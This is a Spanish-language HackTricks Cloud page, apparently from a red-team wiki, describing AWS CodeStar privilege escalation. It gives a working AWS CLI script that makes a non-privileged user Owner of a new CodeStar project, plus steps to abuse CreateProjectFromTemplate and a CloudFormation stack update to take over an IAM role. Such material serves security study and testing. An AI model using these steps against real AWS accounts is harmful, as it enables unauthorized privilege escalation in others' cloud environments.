AWS - Codestar Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Codestar
Puedes encontrar más información sobre codestar en:
codestar:CreateProject, codestar:AssociateTeamMember
iam:PassRole, codestar:CreateProject
Con estos permisos puedes abusar de un rol IAM de codestar para realizar acciones arbitrarias a través de una plantilla de cloudformation. Consulta la siguiente página:
iam:PassRole, codestar:CreateProject
codestar:CreateProject, codestar:AssociateTeamMember
Esta técnica utiliza codestar:CreateProject para crear un proyecto de codestar, y codestar:AssociateTeamMember para hacer que un usuario IAM sea el propietario de un nuevo proyecto de CodeStar, lo que les otorgará una nueva política con algunos permisos adicionales.
PROJECT_NAME="supercodestar"
aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME
echo "Waiting 1min to start the project"
sleep 60
USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed
Si ya eres un miembro del proyecto, puedes usar el permiso codestar:UpdateTeamMember para actualizar tu rol a propietario en lugar de codestar:AssociateTeamMember.
Impacto Potencial: Privesc a la política de codestar generada. Puedes encontrar un ejemplo de esa política en:
codestar:CreateProject, codestar:AssociateTeamMember
codestar:CreateProjectFromTemplate
- Crear un Nuevo Proyecto:
- Utiliza la acción
codestar:CreateProjectFromTemplatepara iniciar la creación de un nuevo proyecto. - Tras la creación exitosa, se otorga automáticamente acceso para
cloudformation:UpdateStack. - Este acceso se dirige específicamente a una pila asociada con el rol IAM
CodeStarWorker-<nombre del proyecto genérico>-CloudFormation.
- Actualizar la Pila Objetivo:
- Con los permisos de CloudFormation otorgados, procede a actualizar la pila especificada.
- El nombre de la pila generalmente se ajustará a uno de dos patrones:
awscodestar-<nombre del proyecto genérico>-infrastructureawscodestar-<nombre del proyecto genérico>-lambda- El nombre exacto depende de la plantilla elegida (referenciando el script de explotación de ejemplo).
- Acceso y Permisos:
- Después de la actualización, obtienes las capacidades asignadas al rol IAM de CloudFormation vinculado con la pila.
- Nota: Esto no proporciona inherentemente privilegios de administrador completos. Pueden ser necesarios recursos mal configurados adicionales dentro del entorno para elevar aún más los privilegios.
Para más información, consulta la investigación original: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Puedes encontrar la explotación en https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py
Impacto Potencial: Privesc al rol IAM de cloudformation.
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

